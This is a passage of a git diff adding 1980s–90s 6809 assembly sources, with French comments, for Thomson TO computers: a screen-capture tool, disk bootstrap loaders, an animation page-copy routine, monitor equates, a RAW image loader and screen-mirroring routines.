+*     et positionnement bank
+*=======================================
+
+PHOSUI PSHS   A
+*---------------------------------------
+       LDA    NUMPHO
+       INCA
+       CMPA   MAXPHO
+       BLE    BOUCS9    ->
+       CLRA
+BOUCS9 STA    NUMPHO
+       LDX    #TABBK
+       LDA    A,X
+       STA    BANKC
+       PULS   A,PC      ->>
+
+
+*=======================================
+* S/P calcul du No de photo précédent
+*=======================================
+
+PHOPRE PSHS   A
+*---------------------------------------
+       LDA    NUMPHO
+       DECA
+       BGE    BOUCS8    ->
+       LDA    MAXPHO
+BOUCS8 STA    NUMPHO
+       LDX    #TABBK
+       LDA    A,X
+       STA    BANKC
+       PULS   A,PC      ->>
diff --git a/code/3rdparty/sources5-hmel/TO-SNAP/SNAP.ASM b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP.ASM
new file mode 100755
index 0000000..5cec9c6
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP.ASM
@@ -0,0 +1,307 @@
+       TITLE  TO-SNAP:
+*      ------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*       Capture d'écran sur TO         *
+*                                      *
+****************************************
+*                                      *
+* Sources:                             *
+*                                      *
+*   FEN-EQU.ASM Equates du fenêtrage   *
+*   SNAP-EQ.ASM Equates                *
+*   SNAP-CN.ASM Constantes             *
+*   SNAP-X1.ASM Traitement             *
+*   SNAP-MN.ASM Gestion menus          *
+*   SNAP-SP.ASM Gestion S/P            *
+*   SNAP-PR.ASM Programme principal    *
+*   SNAP   .ASM Structure              *
+*                                      *
+****************************************
+*                                      *
+* Exécutable destiné à être chargé en  *
+* aplication avec le module de         *
+* fenêtrage FEN.BIN                    *
+*                                      *
+****************************************
+*                                      *
+*  Carte mémoire:                      *
+*                                      *
+** Banks RAM cartouche                 *
+*                                      *
+* No 1   : Soft, constantes et données *
+*          pseudo statique (motifs...) *
+* No 2   : En $1800, S/P de fenêtrage  *
+*          En $20, S/P de recopie des  *
+*          S/P FEN vers $7800          *
+*                                      *
+** Banks données :                     *
+*                                      *
+* bank 2 : Manoeuvre                   *
+* bank 3                               *
+*   .. 6 : Pile des fenêtres           *
+* bank 7                               *
+*   ...  : Photos courante (pellicule) *
+*                                      *
+** RAM "en ligne"                      *
+*                                      *
+* $0000..$3FFF: Soft, constantes et    *
+*               données pseudo stati-  *
+*               ques (cartouche)       *
+* $6000..$62FF: RAM moniteur/extramon  *
+* $6300..$67FF: Pile (#1ko)            *
+* $6800..$6FFF: RAM soft (2ko)         *
+* $7000..$77FF: Zones DOS 5 dsk 2fic.  *
+* $7800..$9FFF: Copie active des S/P   *
+*               de fenêtrage (10ko)    *
+* $A000..$DFFF: Manoeuvre              *
+*                                      *
+****************************************
+*                                      *
+* Production:                          *
+*   Sous TO-PROG:                      *
+*                                      *
+*     - Charger SNAP.BIN (base $0000)  *
+*     - Charger FEN.BIN   (base $5800) *
+*     - Créer TO-SNAP.CHG à partir de  *
+*       $0000..$7FFF non image mémoire *
+*     - Activer ce fichier en applica- *
+*       tion grace à ACT-APPL.BAS      *
+*                                      *
+*   Sous CR-APPLI:                     *
+*                                      *
+*     - Charger SNAP.BIN (base $0000)  *
+*     - Charger FEN.BIN   (base $5800) *
+*     - Créer TO-SNAP.CHG              *
+*                                      *
+****************************************
+
+
+BASEF  EQU    $7800    implant. soft
+*                      fenêtrage !!!
+
+       INCLUD FEN-EQU  équates FEN
+
+       INCLUD SNAP-EQ
+
+****************************************
+
+       SETDP  $E7
+
+*
+* En tête cartouche No 1
+* enlever les commentaires pour TO-PROG
+*---------------------------------------
+
+*      ORG    0
+
+*      FCC    'TO-SNAP'
+*      FCB    4,0
+*      FCB    0,0,0,0,0,0,0,0
+*      FCB    0,0,0,0,0,0,0,0
+*      FCB    $7B       soco
+*      FCB    0
+*      FDB    L0022
+*      FDB    L0022
+*L0020 FDB    $A55A
+
+       ORG    $22
+
+       LBRA   DEBUT     ------>
+
+
+* Séquence de commutation vers les S/P
+* en cartouche no 2
+*---------------------------------------
+
+COMBK2 INC    >$E7E6
+       LEAU   -$4000,U
+       JSR    ,U
+       PSHS   CC
+       DEC    >$E7E6
+       PULS   CC
+       RTS
+
+* Séquence de commutation vers les S/P
+* en cartouche no 1
+*---------------------------------------
+
+       DEC    >$E7E6
+       JSR    ,U
+       PSHS   CC
+       INC    >$E7E6
+       PULS   CC
+       RTS
+
+****************************************
+
+       INCLUD SNAP-CN
+
+       INCLUD SNAP-MN
+
+       INCLUD SNAP-X1
+
+       INCLUD SNAP-SP
+
+****************************************
+
+       INCLUD SNAP-PR
+
+****************************************
+
+
+*
+* En tête cartouche No 2
+* enlever les commentaires pour TO-PROG
+*---------------------------------------
+
+*      ORG    $4000
+*
+*      FCC    'TO-SNAP'
+*      FCB    4,0
+*      FCB    0,0,0,0,0,0,0,0
+*      FCB    0,0,0,0,0,0,0,0
+*      FCB    $7B       soco
+*      FCB    0
+*      FDB    L0022
+*      FDB    L0022
+*LL0020FDB    $A55A
+
+       ORG    $4022
+
+       LBRA   DEBUT     ------>
+
+
+* Séquence de commutation vers les S/P
+* en cartouche no 2
+*---------------------------------------
+
+       INC    >$E7E6
+       LEAU   -$4000,U
+       JSR    ,U
+       PSHS   CC
+       DEC    >$E7E6
+       PULS   CC
+       RTS
+
+* Séquence de commutation vers les S/P
+* en cartouche no 1
+*---------------------------------------
+
+COMBK1 DEC    >$E7E6
+       JSR    ,U
+       PSHS   CC
+       INC    >$E7E6
+       PULS   CC
+       RTS
+
+* S/P de la cartouche no 2
+*---------------------------------------
+
+
+*=======================================
+* Auto-copie $1800..$3FFF vers $7800
+* (S/P fenêtrage)
+*=======================================
+FENRAM EQU    *
+*---------------------------------------
+       LDX    #$1800
+       LDY    #$7800
+BCPIF1 LDD    ,X++
+       STD    ,Y++
+       CMPX   #$4000
+       BNE    BCPIF1    ->
+       RTS
+
+
+*=======================================
+* S/P appel du boot sur disquette ...
+*     en cas d'échec, la routine monit.
+*     fait un JMP [001E] ... c'est
+*     pourquoi, ce vecteur est utilisé
+*     pour brancher sur le traitement
+*     échec !!!
+* Sortie:  CY 1 si pb
+*=======================================
+BOOT   EQU    *
+*---------------------------------------
+
+       LDA    >$E7E6    autorise écrit
+       ORA    #$40      cartouche
+       STA    >$E7E6
+       LDU    #PBBOOT-$4000
+       STU    >$001E
+       LDA    >$E7E6    interdit écrit
+       ANDA   #$BF
+       STA    >$E7E6
+
+       LDA    #$01      init. ctrl dsk
+       STA    DKOPC
+       JSR    DKCO
+
+       LDA    #$20      posit piste 0
+       STA    DKOPC
+       JSR    DKCO
+
+       LDA    >$E7C3    moniteur bk 0
+       ANDA   #$EF
+       STA    >$E7C3
+
+       LDS    #$60CC
+
+*      une séquence d'effacement appelée
+*      par le programme chargé réalise
+*      une initialisation d'un zone
+*      pointée par $601c à $601e... zone
+*      dans laquelle peut justement se
+*      trouver le programme (MGT !)
+*      les valeurs mises sont celles en
+*      vigueur hors extra mon !!!
+
+       LDD    #$F001
+       STD    $601C
+       LDD    #$F017
+       STD    $601E
+
+       LDU    #ACTIT
+       LBSR   COMBK1
+
+       LDA    #$FF      présence disk
+       STA    $6080
+       LDB    #$44      commut.bank
+       STB    $6081     ram pia
+       STB    >$E7E7    (compatibilité)
+
+       JMP    $E007     ->
+
+PBBOOT LDB    #$54      commut.bank
+       STB    $6081     ram E7E5
+       STB    >$E7E7    (compatibilité)
+
+       LDX    #DEBBOO-$4000
+       LDY    #$A000    flag pour redem.
+COPBOO LDA    ,X+
+       STA    ,Y+
+       CMPX   #FINBOO-$4000
+       BNE    COPBOO    ->
+       JSR    $A000
+
+       LDU    #DEBUT
+       LBSR   COMBK1    ->>>>>
+
+DEBBOO DEC    >$E7E6
+       LDA    >$E7E6    autorise écrit
+       ORA    #$40      cartouche
+       STA    >$E7E6
+       LDA    #$FF
+       STA    FLGBOO
+       LDA    >$E7E6    interdit écrit
+       ANDA   #$BF
+       STA    >$E7E6
+       INC    >$E7E6
+       RTS
+FINBOO EQU    *
+
+       END
diff --git a/code/3rdparty/sources6-divers/BinLoaders/BOOTINI.ASM b/code/3rdparty/sources6-divers/BinLoaders/BOOTINI.ASM
new file mode 100644
index 0000000..f7d6b4b
--- /dev/null
+++ b/code/3rdparty/sources6-divers/BinLoaders/BOOTINI.ASM
@@ -0,0 +1,85 @@
+****************************************
+*                                      *
+* - BOOTINI : CHARGEMENT AUTOMATIQUE - *
+*                                      *
+* - SUR LA PISTE 0 ET ET LE SECTEUR 1  *
+*                                      *
+* - INITIALISATION  EFFACEMENT TITRE - *
+*                                      *
+****************************************
+
+* DISQUE RESEAU 1
+
+* TITRE DU LOGICIEL ... : 49144/49151
+
+* ADR. DEB.LOG. MOINS 5 : à la suite +1
+
+* ADR. DE FIN LOGICIEL  : à la suite +1
+
+* ADR. D'EXECUTION LOG. : à la suite +1
+
+
+ZDEBUT EQU    49000
+
+       ORG    ZDEBUT
+
+
+       JSR    59392
+       LEAU   TABINI,PCR
+BCLINI LDB    ,U+
+       JSR    59395
+       CMPB   #67     Fin Initialisation
+       BNE    BCLINI
+       LEAU   TABNOM,PCR
+BCLNOM LDB    ,U+     C'est ici que le
+       TSTB           programme BASIC
+       BEQ    SUITE1  implante le titre
+       JSR    59395   du Logiciel
+       BRA    BCLNOM
+
+SUITE1 LDB    #27
+       JSR    59395   Rétablissement de
+       LDB    #76     l' ATTRB 0,0
+       JSR    59395
+
+       LDX    ,U++    Déb.Log. MOINS 5
+       LDD    #21     A = 0  B = 21
+       STD    24650   Piste = 21
+
+BOUCLE STX    24655   Buffer Début Log.
+       INCA           Début A = 1
+       CMPA   #16     Secteur No.16  ?
+       BHI    SUIBCL
+       STA    24652   Registre de Sect.
+       LDB    #2
+       STB    24648   Mot de Lecture
+       JSR    59434   Routine DSK
+       LEAX   255,X
+       CMPX   ,U      Adr. Fin du Log.
+       BLO    BOUCLE
+
+       LEAU   2,U
+       LDX    ,U
+       JMP    ,X
+
+SUIBCL CLRA
+       INC    24651   Registre de Piste
+       BRA    BOUCLE
+
+TABINI FCB    20,27,80,27,96,12,31,76,81
+       FCB    27,77,27,67,0,0,0,0,0,0,0
+       FCB    0,0,0,0,0,0,0,0,0,0,0,0,0
+       FCB    0,0,0,0,0,0,0,0,0,0,0,0,0
+       FCB    0,0,0,0,0,0,0,0,0,0,0
+
+TABNOM FCB    0,0,0,0,0,0,0,0,0,0,0,0
+       FCB    0,0,0,0,0,0,0,0,0,0,0,0
+       FCB    0,0,0,0,0,0,0,0,0,0,0,0
+       FCB    0,0,0,0,0,0,0,0,0,0,0,0
+       FCC    *BOOTSTRAP REALISE PAR JR*
+       FCC    *.QUIROZ - NOVEMBRE 1989 *
+       FCB    0,0,0,0,0,0,0,0,0,0,0,0,0
+       FCB    0,0,0,0,0,0,0,0,0,0,0,0,0
+ZZZFIN FCB    0
+
+       END    ZDEBUT
diff --git a/code/3rdparty/sources6-divers/BinLoaders/BOOTPEL.ASM b/code/3rdparty/sources6-divers/BinLoaders/BOOTPEL.ASM
new file mode 100644
index 0000000..971a253
--- /dev/null
+++ b/code/3rdparty/sources6-divers/BinLoaders/BOOTPEL.ASM
@@ -0,0 +1,148 @@
+DSKO   EQU    $E82A
+DKOPC  EQU    $6048
+DKDRV  EQU    $6049
+DKTRK  EQU    $604A
+DKSEC  EQU    $604C
+DKNUM  EQU    $604D
+DKSTA  EQU    $604E
+DKBUF  EQU    $604F
+
+       ORG    $9000
+DEBUT  LEAY   TEXT2,PCR
+       LBSR   ECRA1
+DEB1   JSR    $E806
+       ANDB   #$DF
+       TSTB
+       BEQ    DEB1
+       CMPB   #$59
+       BEQ    YETI
+       CMPB   #$50
+       BEQ    PULSAR
+       CMPB   #$45
+       BNE    DEB1
+ELIM   LBSR   ECRAN
+       LDX    #$7000
+       PSHS   X
+       LDA    #1
+       BSR    FIXE
+ELIM1  LDA    #0
+       LDB    #4
+       LDX    #$9000
+       BSR    LISSEC
+       JMP    $9000
+YETI   LBSR   ECRAN
+       LDA    #4
+YETI2  LDX    #$A000
+       PSHS   X
+       BSR    LOADBA
+       BRA    ELIM1
+PULSAR LBSR   ECRAN
+       LDA    #8
+       BRA    YETI2
+
+
+
+
+
+
+
+***************************************
+*        LECTURE D'UN SECTEUR         *
+* A=PISTE B=SECTEUR X=@BUFFER         *
+***************************************
+LISSEC PSHS   Y
+       LDY    #DKOPC
+       CLR    2,Y     NUMERO DE
+       STA    3,Y     PISTE
+       STB    4,Y     SECTEUR
+       CLR    1,Y     DRIVE 0
+       STX    7,Y     @BUFFER
+       LDA    #2
+       STA    ,Y
+       JSR    DSKO
+       PULS   Y,PC
+
+
+****************************************
+* LECTURE D'UN FICHIER BINAIRE         *
+* POUR LA BANQUE FIXE DE $7000 à$9FFF  *
+* DANS LES PISTES 1-2-3                *
+****************************************
+FIXE
+       LDX    #$7000
+       TFR    A,B
+       ADDB   #3
+       STB    COM+1,PCR
+       LDB    #1
+BOU1   PSHS   X,D
+       BSR    LISSEC
+       PULS   X,D
+       LEAX   256,X
+       INCB
+       CMPB   #17
+       BNE    BOU1
+       LDB    #1
+       INCA
+COM    CMPA   #4
+       BNE    BOU1
+
+       RTS
+
+
+
+***************************************
+* CHARGEMENT D'UNE BANQUE             *
+* A=NUMERO DELA 1ERE PISTE            *
+***************************************
+LOADBA LDX    #$A000
+       TFR    A,B
+       ADDB   #4
+       STB    COMPT+1,PCR
+       LDB    #1
+BOU2   PSHS   X,D
+       BSR    LISSEC
+       PULS   X,D
+       LEAX   256,X
+       INCB
+       CMPB   #17
+       BNE    BOU2
+       LDB    #1
+       INCA
+COMPT  CMPA   #5
+       BNE    BOU2
+       RTS
+
+ECRAN
+
+       LEAY   TEXTE,PCR
+
+ECRA1  LDB    ,Y+
+       BEQ    FIN
+       JSR    $E803
+       BRA    ECRA1
+FIN    RTS
+TEXTE  FCB    $1B,$64,$1B,$47,27,$54,$C
+       FCC    ''
+       FCC    'Copyright Loriciels 1986'
+       FCB    10,13,10,10,10,10
+       FCB    0
+TEXT2  FCB    $1B,$54,$1B,$64,$47,$0C
+       FCB    $1B,$4F,$1F,$48,$4A,$1B
+       FCB    $5C
+       FCC    'Y'
+       FCB    $1B,$4E,$1B,$5C
+       FCC    'ETI'
+       FCB    $1F,$4B,$4A,$1B,$4F,$1B
+       FCB    $5C
+       FCC    'P'
+       FCB    $1B,$4E,$1B,$5C
+       FCC    'ULSAR'
+       FCB    $1F,$4E,$4A,$1B,$5C,$1B
+       FCB    $4F
+       FCC    'E'
+       FCB    $1B,$4E,$1B,$5C
+       FCC    'LIMINATOR'
+       FCB    $1B,$4C,0
+
+
+       END
diff --git a/code/3rdparty/sources6-divers/CARTOONS.ASM b/code/3rdparty/sources6-divers/CARTOONS.ASM
new file mode 100644
index 0000000..799b852
--- /dev/null
+++ b/code/3rdparty/sources6-divers/CARTOONS.ASM
@@ -0,0 +1,56 @@
+**************************************
+**************************************
+**                                  **
+** ***  *  **  *** *** *** *  * *** **
+** *   * * * *  *  * * * * ** * *   **
+** *   *** **   *  * * * * * ** *** **
+** *   * * * *  *  * * * * *  *   * **
+** *** * * * *  *  *** *** *  * *** **
+**                                  **
+**************************************
+**************************************
+**                                  **
+** Par Michel SAINT-BRIANT (c) ASCI **
+**                                  **
+**************************************
+**************************************
+* permet de transferer une zone de la
+* page d'affichage no 0 sur les pages
+* 2 ou 3 puis de commuter ladite page
+* ce qui permet un affichage instan-
+* utilisable pour des animations.
+**************************************
+
+
+       ORG    $8000
+G      PSHS   X,Y,U,A,B,DP,CC
+       LDA    #2      commutation de la
+       STA    $E7E5   bank basic 1
+       LDU    #$4262  zone lecture
+       LDY    #$C4BA  zone écriture
+       LDA    #170    170 lignes
+       STA    COMPT   sur compteur
+BOUCLE PULU   A,B,X   < équivaut LDD,U++
+       STD    ,Y++     & LDX,Y++ mais en
+       STX    ,Y++     plus rapide: 9 cy
+       PULU   A,B,X    cles au lieu de16
+       STD    ,Y++    < 8 cycles
+       STX    ,Y++    < 8 cycles
+       PULU   A,B,X
+       STD    ,Y++      donc (8+8+9)*5=
+       STX    ,Y++      125 cycles par
+       PULU   A,B,X     ligne + 16 pour
+       STD    ,Y++      boucle donc en
+       STX    ,Y++      tout 151*170=
+       PULU   A,B,X     25670 cycles
+       STD    ,Y++      d'où 1/40 s
+       STX    ,Y++
+       LEAU   20,U      8 cycles )
+       LEAY   20,Y      8 cycles ) =
+       DEC    COMPT     7 cycles ) 26
+       BNE    BOUCLE    3 cycles )
+       LDA    #$80      on valide bank 1
+       STA    $E7DD     pour l'écran
+       PULS   CC,A,B,DP,X,Y,U,PC
+COMPT  NOP
+       END
diff --git a/code/3rdparty/sources6-divers/EQUATES.ASM b/code/3rdparty/sources6-divers/EQUATES.ASM
new file mode 100644
index 0000000..683de30
--- /dev/null
+++ b/code/3rdparty/sources6-divers/EQUATES.ASM
@@ -0,0 +1,30 @@
+***********************
+*                     *
+*   POINTS D'ENTREE   *
+*                     * DISQUE RESEAU 1
+*   DU MONITEUR TO8   *
+*                     *
+***********************
+
+PUTC   EQU    $E803
+PLOT   EQU    $E80F
+DRAW   EQU    $E80C
+GETP   EQU    $E821
+KTST   EQU    $E809
+GETC   EQU    $E806
+PEIN   EQU    $EC09
+GEPE   EQU    $EC06
+LPIN   EQU    $E81B
+GETL   EQU    $E818
+JOYS   EQU    $E827
+RSCO   EQU    $E812
+K7CO   EQU    $E815
+DKFORM EQU    $E007
+DKCO   EQU    $E82A
+SETP   EQU    $EC00
+NOTE   EQU    $E81E
+COMS   EQU    $EC03
+EXTRA  EQU    $EC0C
+MENU   EQU    $E82D
+CHPL   EQU    $E833
+KBIN   EQU    $E830
diff --git a/code/3rdparty/sources6-divers/RAW16.ASM b/code/3rdparty/sources6-divers/RAW16.ASM
new file mode 100644
index 0000000..fc010cf
--- /dev/null
+++ b/code/3rdparty/sources6-divers/RAW16.ASM
@@ -0,0 +1,251 @@
+* LECTURE D'UNE IMAGE RAW
+* SOURCE :
+* 320X200 16 COULEURS
+* DESTINATION :
+* 160X200 16 COULEURS (BITMAP 16)
+*
+* COPYRIGHT (C) HOME SOFT 1992
+
+       ORG    $9000
+
+PUTC   EQU    $E803
+EXTRA  EQU    $EC0C
+DKDRV  EQU    $6049
+OPEN   EQU    03
+FILMOD EQU    $624B
+FILNAM EQU    $624F
+INPUT  EQU    05
+CARCOU EQU    $6196
+EOFFLG EQU    $6178
+CLOSE  EQU    06
+PRC    EQU    $E7C3
+
+START  PSHS   A,B,X,Y,U,DP,CC
+       LDB    #$1B
+       JSR    PUTC
+       LDB    #$5E
+       JSR    PUTC
+       LDB    #$14
+       JSR    PUTC
+       CLR    $E7DD
+
+       CLR    DKDRV
+       LDB    #$10
+       STB    FILMOD
+       LDX    #FILNAM
+       LDU    #NAME
+NA2    LDB    ,U+
+       BEQ    NA1
+       STB    ,X+
+       BRA    NA2
+
+NA1    LDB    #OPEN
+       JSR    EXTRA
+
+       LDX    #$4000
+       LDA    PRC
+       ANDA   #254
+       STA    PRC
+
+LI11   LDB    #INPUT
+       JSR    EXTRA
+       TST    EOFFLG
+       LBNE   STP
+       INC    PRC
+       LDA    CARCOU
+       LDB    ,X
+       LSLA
+       LSLA
+       BCC    LI12
+       ORB    #$10
+       BRA    LI13
+LI12   ANDB   #$EF
+LI13   LSLA
+       LSLA
+       BCC    LI14
+       ORB    #$01
+       BRA    LI15
+LI14   ANDB   #$FE
+LI15   STB    ,X
+       DEC    PRC
+       LDB    ,X
+       LSLA
+       LSLA
+       BCC    LI16
+       ORB    #$10
+       BRA    LI17
+LI16   ANDB   #$EF
+LI17   LSLA
+       LSLA
+       BCC    LI18
+       ORB    #$01
+       BRA    LI19
+LI18   ANDB   #$FE
+LI19   STB    ,X+
+       CMPX   #$5F40
+       BLO    LI11
+
+       LDX    #$4000
+
+LI21   LDB    #INPUT
+       JSR    EXTRA
+       TST    EOFFLG
+       LBNE   STP
+       INC    PRC
+       LDA    CARCOU
+       LDB    ,X
+       LSLA
+       LSLA
+       BCC    LI22
+       ORB    #$20
+       BRA    LI23
+LI22   ANDB   #$DF
+LI23   LSLA
+       LSLA
+       BCC    LI24
+       ORB    #$02
+       BRA    LI25
+LI24   ANDB   #$FD
+LI25   STB    ,X
+       DEC    PRC
+       LDB    ,X
+       LSLA
+       LSLA
+       BCC    LI26
+       ORB    #$20
+       BRA    LI27
+LI26   ANDB   #$DF
+LI27   LSLA
+       LSLA
+       BCC    LI28
+       ORB    #$02
+       BRA    LI29
+LI28   ANDB   #$FD
+LI29   STB    ,X+
+       CMPX   #$5F40
+       BLO    LI21
+
+       LDX    #$4000
+
+LI31   LDB    #INPUT
+       JSR    EXTRA
+       TST    EOFFLG
+       LBNE   STP
+       INC    PRC
+       LDA    CARCOU
+       LDB    ,X
+       LSLA
+       LSLA
+       BCC    LI32
+       ORB    #$40
+       BRA    LI33
+LI32   ANDB   #$BF
+LI33   LSLA
+       LSLA
+       BCC    LI34
+       ORB    #$04
+       BRA    LI35
+LI34   ANDB   #$FB
+LI35   STB    ,X
+       DEC    PRC
+       LDB    ,X
+       LSLA
+       LSLA
+       BCC    LI36
+       ORB    #$40
+       BRA    LI37
+LI36   ANDB   #$BF
+LI37   LSLA
+       LSLA
+       BCC    LI38
+       ORB    #$04
+       BRA    LI39
+LI38   ANDB   #$FB
+LI39   STB    ,X+
+       CMPX   #$5F40
+       BLO    LI31
+
+       LDX    #$4000
+
+LI41   LDB    #INPUT
+       JSR    EXTRA
+       TST    EOFFLG
+       LBNE   STP
+       INC    PRC
+       LDA    CARCOU
+       LDB    ,X
+       LSLA
+       LSLA
+       BCC    LI42
+       ORB    #$80
+       BRA    LI43
+LI42   ANDB   #$7F
+LI43   LSLA
+       LSLA
+       BCC    LI44
+       ORB    #$08
+       BRA    LI45
+LI44   ANDB   #$F7
+LI45   STB    ,X
+       DEC    PRC
+       LDB    ,X
+       LSLA
+       LSLA
+       BCC    LI46
+       ORB    #$80
+       BRA    LI47
+LI46   ANDB   #$7F
+LI47   LSLA
+       LSLA
+       BCC    LI48
+       ORB    #$08
+       BRA    LI49
+LI48   ANDB   #$F7
+LI49   STB    ,X+
+       CMPX   #$5F40
+       BLO    LI41
+
+       CLR    COUL
+A0     LDB    #INPUT
+       JSR    EXTRA
+       TST    EOFFLG
+       BNE    STP
+       LDA    CARCOU
+       STA    ROUGE
+       LDB    #INPUT
+       JSR    EXTRA
+       TST    EOFFLG
+       BNE    STP
+       LDA    CARCOU
+       ANDA   #$F0
+       STA    VERT
+       LDA    CARCOU
+       ANDA   #$0F
+       STA    BLEU
+
+       LDA    COUL
+       ASLA
+       STA    $E7DB
+       LDA    BLEU
+       LDB    VERT
+       ORB    ROUGE
+       STB    $E7DA
+       STA    $E7DA
+
+       INC    COUL
+       LDB    COUL
+       CMPB   #16
+       BLO    A0
+
+STP    LDB    #CLOSE
+       JSR    EXTRA
+       PULS   A,B,X,Y,U,DP,CC,PC
+
+NAME   FCC    "        RAW"
+       FCB    0
+COUL   RMB    1
+ROUGE  RMB    1
+VERT   RMB    1
+BLEU   RMB    1
+
+       END
diff --git a/code/3rdparty/sources6-divers/SCREEN.ASM b/code/3rdparty/sources6-divers/SCREEN.ASM
new file mode 100644
index 0000000..0518b97
--- /dev/null
+++ b/code/3rdparty/sources6-divers/SCREEN.ASM
@@ -0,0 +1,355 @@
+*********************
+*                   *
+*    SCREEN.ASM     *  DISQUE RESEAU 1
+*                   *
+*********************
+
+       ORG    $A000
+       PSHS   A,B,X,Y,U,DP
+       LDB    CHOIX,PCR
+       CLR    ADR,PCR
+       CLR    ADR1,PCR
+       CLR    ADR4,PCR
+       CMPB   #$02
+       BHI    SUIT1
+       BRA    ROUT1
+SUIT1  CMPB   #$0A
+       BHI    SUIT2
+       BRA    ROUT2
+SUIT2  PULS   A,B,X,Y,U,DP
+       RTS
+*****************************
+****SYMETRIE I (H VERS B)****
+*****************************
+ROUT1  LDD    #$4027
+       STD    ADR2,PCR
+       LDD    #$F78
+       STD    ADR4,PCR
+       LDX    #$4000
+DEBUT1 TFR    X,D
+       ADDD   ADR4,PCR
+       ADDD   ADR4,PCR
+       ADDD   #$28
+       TFR    D,Y
+       LBSR   RAMA
+       LDA    ,X
+       LDB    CHOIX,PCR
+       CMPB   #$02
+       BNE    SYMI11
+       LDB    ,Y
+       STB    ,X
+SYMI11 STA    ,Y
+       LBSR   RAMB
+       LDA    ,X
+       LDB    CHOIX,PCR
+       CMPB   #$02
+       BNE    SYMI12
+       LDB    ,Y
+       STB    ,X
+SYMI12 STA    ,Y
+       LEAX   1,X
+       CMPX   ADR2,PCR
+       BLS    ENCOR1
+       LDD    ADR2,PCR
+       ADDD   #$28
+       STD    ADR2,PCR
+       LDD    ADR4,PCR
+       SUBD   #$28
+       STD    ADR4,PCR
+ENCOR1 CMPX   #$4FA0
+       BNE    DEBUT1
+       PULS   A,B,X,Y,U,DP
+       RTS
+******************************
+****SYMETRIE II (D VERS G)****
+******************************
+ROUT2  LDX    #$4000
+       CLR    ADR2,PCR
+       LDA    #$27
+       STA    ADR3,PCR
+DEBUT2 TFR    X,D
+       ADDD   ADR2,PCR
+       TFR    D,Y
+       BSR    SUB2
+       LEAX   40,X
+       CMPX   #$5F3F
+       BLS    ENCOR2
+       TFR    X,D
+       SUBD   #$1F3F
+       TFR    D,X
+       LDA    ADR3,PCR
+       SUBA   #$02
+       STA    ADR3,PCR
+ENCOR2 CMPX   #$4014
+       BNE    DEBUT2
+       PULS   A,B,X,Y,U,DP
+       RTS
+************
+****SUB2****
+************
+SUB2   LDA    CHOIX,PCR
+       CMPA   #$03
+       BNE    CONT1
+       BRA    SUB3
+CONT1  CMPA   #$04
+       BNE    CONT2
+       BRA    SUB4
+CONT2  CMPA   #$05
+       BNE    CONT3
+       BRA    SUB5
+CONT3  CMPA   #$06
+       BNE    CONT4
+       BRA    SUB6
+CONT4  CMPA   #$07
+       BNE    CONT5
+       LBRA   SUB7
+CONT5  CMPA   #$08
+       BNE    CONT6
+       LBRA   SUB8
+CONT6  CMPA   #$09
+       BNE    CONT7
+       LBRA   SUB9
+CONT7  LBRA   SUB10
+************
+****SUB3****
+************
+SUB3   LBSR   RAMA
+       CLRA
+       RORA
+       LDA    ,X
+       LBSR   TRA1
+       STA    ,Y
+       LBSR   RAMB
+       LDA    ,X
+       STA    ,Y
+       RTS
+************
+****SUB4****
+************
+SUB4   LBSR   RAMA
+       CLRA
+       RORA
+       LDA    ,X
+       LBSR   TRA1
+       STA    ,Y
+       LBSR   RAMB
+       LDA    ,X
+       LBSR   TRA1
+       STA    ,Y
+       RTS
+************
+****SUB5****
+************
+SUB5   LBSR   RAMA
+       CLRA
+       RORA
+       LDA    ,X
+       LBSR   TRA2
+       STA    ADR5,PCR
+       LBSR   RAMB
+       LDA    ADR5,PCR
+       STA    ,Y
+       LDA    ,X
+       LBSR   TRA2
+       STA    ADR5,PCR
+       LBSR   RAMA
+       LDA    ADR5,PCR
+       STA    ,Y
+       RTS
+************
+****SUB6****
+************
+SUB6   LBSR   RAMA
+       CLRA
+       RORA
+       LDA    ,X
+       LBSR   TRA1
+       STA    ADR5,PCR
+       LBSR   RAMB
+       LDA    ADR5,PCR
+       STA    ,Y
+       LDA    ,X
+       LBSR   TRA1
+       STA    ADR5,PCR
+       LBSR   RAMA
+       LDA    ADR5,PCR
+       STA    ,Y
+       RTS
+************
+****SUB7****
+************
+SUB7   LBSR   RAMA
+       CLRA
+       RORA
+       LDA    ,X
+       LBSR   TRA1
+       STA    ADR6,PCR
+       LDA    ,Y
+       LBSR   TRA1
+       STA    ,X
+       LDA    ADR6,PCR
+       STA    ,Y
+       LBSR   RAMB
+       LDA    ,X
+       LDB    ,Y
+       STA    ,Y
+       STB    ,X
+       RTS
+************
+****SUB8****
+************
+SUB8   LBSR   RAMA
+       CLRA
+       RORA
+       LDA    ,X
+       LBSR   TRA1
+       STA    ADR6,PCR
+       LDA    ,Y
+       LBSR   TRA1
+       STA    ,X
+       LDA    ADR6,PCR
+       STA    ,Y
+       LBSR   RAMB
+       LDA    ,X
+       LBSR   TRA1
+       STA    ADR6,PCR
+       LDA    ,Y
+       LBSR   TRA1
+       STA    ,X
+       LDA    ADR6,PCR
+       STA    ,Y
+       RTS
+************
+****SUB9****
+************
+SUB9   LBSR   RAMA
+       CLRA
+       RORA
+       LDA    ,X
+       LBSR   TRA2
+       STA    ADR6,PCR
+       LBSR   RAMB
+       LDA    ,Y
+       LBSR   TRA2
+       TFR    A,B
+       LDA    ADR6,PCR
+       STA    ,Y
+       LBSR   RAMA
+       STB    ,X
+       LBSR   RAMB
+       LDA    ,X
+       LBSR   TRA2
+       STA    ADR6,PCR
+       LBSR   RAMA
+       LDA    ,Y
+       LBSR   TRA2
+       TFR    A,B
+       LDA    ADR6,PCR
+       STA    ,Y
+       LBSR   RAMB
+       STB    ,X
+       RTS
+*************
+****SUB10****
+*************
+SUB10  LBSR   RAMA
+       CLRA
+       RORA
+       LDA    ,X
+       LBSR   TRA1
+       STA    ADR6,PCR
+       LBSR   RAMB
+       LDA    ,Y
+       BSR    TRA1
+       TFR    A,B
+       LDA    ADR6,PCR
+       STA    ,Y
+       BSR    RAMA
+       STB    ,X
+       BSR    RAMB
+       LDA    ,X
+       BSR    TRA1
+       STA    ADR6,PCR
+       BSR    RAMA
+       LDA    ,Y
+       BSR    TRA1
+       TFR    A,B
+       LDA    ADR6,PCR
+       STA    ,Y
+       BSR    RAMB
+       STB    ,X
+       RTS
+************
+****TRA1****
+************
+TRA1   TFR    A,B
+       ANDA   #$F0
+       ANDB   #$0F
+       RORA
+       RORA
+       RORA
+       RORA
+       ROLB
+       ROLB
+       ROLB
+       ROLB
